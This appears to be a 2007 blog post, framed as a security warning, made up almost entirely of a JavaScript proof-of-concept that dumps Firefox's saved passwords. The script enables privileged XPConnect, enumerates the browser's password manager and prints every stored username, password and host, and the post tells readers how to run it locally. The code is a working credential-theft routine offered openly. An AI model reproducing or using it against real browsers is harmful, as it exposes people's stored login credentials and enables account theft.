Stealing All your saved Firefox Passwords

October 23, 2007

We’ve to have care when we save our passwords. All of this are easy to recover (or steal!) with this simply function:

function listPW() {
if(document.location !='http://www.0x000000.com/hacks/hello.html') {
netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
var pm = Components.classes["@mozilla.org/passwordmanager;1"].getService();
pm = pm.QueryInterface(Components.interfaces.nsIPasswordManager);
var enumerator = pm.enumerator;
document.writeln('Mozilla\'s idea of security, I do not store these passwords, it\'s only a PoC');
document.writeln('
');
while (enumerator.hasMoreElements()) {
try {
var np = enumerator.getNext();
np = np.QueryInterface(Components.interfaces.nsIPassword);
presult = '['+np.user+'] ['+np.password+'] ['+np.host+']
';
document.writeln(presult);
} catch(e) { }
}
} else { alert('this only runs from your PC, save the page to your desktop (CTRL+S) and open it in Firefox, then watch the Magicx!'); }
}

Be careful 🙂
